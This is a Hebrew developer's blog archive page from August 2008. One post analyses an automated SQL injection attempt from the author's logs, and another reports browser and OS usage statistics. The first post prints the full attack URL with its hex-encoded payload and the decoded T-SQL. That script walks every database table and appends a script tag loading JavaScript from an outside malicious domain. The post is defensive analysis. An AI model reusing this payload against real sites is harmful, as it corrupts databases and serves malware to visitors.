DCSIMG
August 2008 - Posts - מאחורי המסך

מאחורי המסך

משה למפרט, על תכנות מתקדם וביצועים ב-Web.

על הבלוג

עוד חדשות

אתרים שיש לי בהם יד ורגל

August 2008 - Posts

נסיון מעניין ל-SQL Injection משולב ב-XSS

בהרבה מדי דפים שלי אין שימוש בפונקציה TryParse לגבי חלק מהפרמטרים (אלא ב-Cast בסיסי), וכך אני מקבל מדי פעם הודעות שגיאה על נסיונות פריצה אוטומאטיים מעניינים יותר או פחות.

הנה הכתובת:

http://www.israelnationalnews.com/Subscribe/Preview.aspx?type=1';DeCLARE @S CHAR(4000);SET @S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777332E3830306D672E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272720776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777332E3830306D672E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72 AS CHAR(4000));ExEC(@S);

זה כבר מאוד סיקרן אותי. פתחתי את ה-Query Browser וכתבתי כך:

select 0x4445434C41....

ובכן, זה מה שמצאתי. לא צריך לדעת לכתוב פרוצדורות שמורות ל-MySQL כדי להבין מה יש כאן:

DECLARE @T varchar(255),@C varchar(4000) 
DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) 
OPEN Table_Cursor 
FETCH NEXT FROM  Table_Cursor INTO @T,@C 
WHILE(@@FETCH_STATUS=0) 
  BEGIN 
    exec('update ['+@T+'] set ['+@C+']=['+@C+']+''"></title><scr‎ipt src="http://www3.800mg.cn/csrss/w.js"></scr‎ipt><!--'' where '+@C+' not like ''%"></title><scr‎ipt src="http://www3.800mg.cn/csrss/w.js"></scr‎ipt><!--''')

FETCH NEXT FROM  Table_Cursor INTO @T,@C 
END CLOSE Table_Cursor 
DEALLOCATE Table_Cursor

בעצם מדובר בנסיון לעבור על כל הטבלאות ולהכניס לתוכם סקריפט זדוני, מה שלא צלח אצלי בשרת, אבל עלול לצלוח אצל אחרים. מעניין מאוד שהם מנסים את התקיפה הזו עבור אתרים שרצים על ASP.net, בה-בעת שמספר האתרים שמריצים ASP.net עם MySQL אינו כ"כ גבוה.

ר"ח אב: במה גולשים הישראלים?

כמנהגי מדי ראש חודש, גם הפעם אחשוף באיזה ציוד משתמש הגולש הישראלי הלא מקצועי, תוך שימוש במאגר המשתמשים של האתר בעברית של ערוץ 7 (חשוב לציין שבאנגלית המצב שונה בתכלית והיחסים שונים משמעותית לרעת IE)

דפדפנים - ללא שינוי מובהק:

image

"אופרה" = אופרה מיני ברובם.

Internet Explorer 7 עבר לראשונה את 6, ובאחוזים ניכרים. ניכר כי סוף סוף הדפדפן הזה מתחיל לצבור תאוצה ולהפוך לדומיננטי גם בקרב השוק הלא מקצועי.
האם זה יעזור לקרב את הסוף של ההאקים המיועדים לו? לא. כל עוד יש לא מעט משתמשים שמסרבים בעקשנות לשדרג ומעדיפים את הדפדפן שיצא בתחילת תשס"א (אישית הרצתי אותו גם כבטא עוד קודפ) ומסרב למות גם 7 שנים לאחר מכן.
אחוז המשתמשים שלא יכולים לשדרג בגלל מערכת ההפעלה שלהם עומד על אחוזים בודדים, כך שלא זו הבעיה.

image

נתון מעניין נוסף הוא IE5.5, שגם לו כנראה יש כמה משתמשים אדוקים שפשוט תלויים במערכת ההפעלה שלו.

מערכות הפעלה: XP בראש, Vista נשארת ללא שינוי,

image 

 

שבוע טוב וחודש טוב!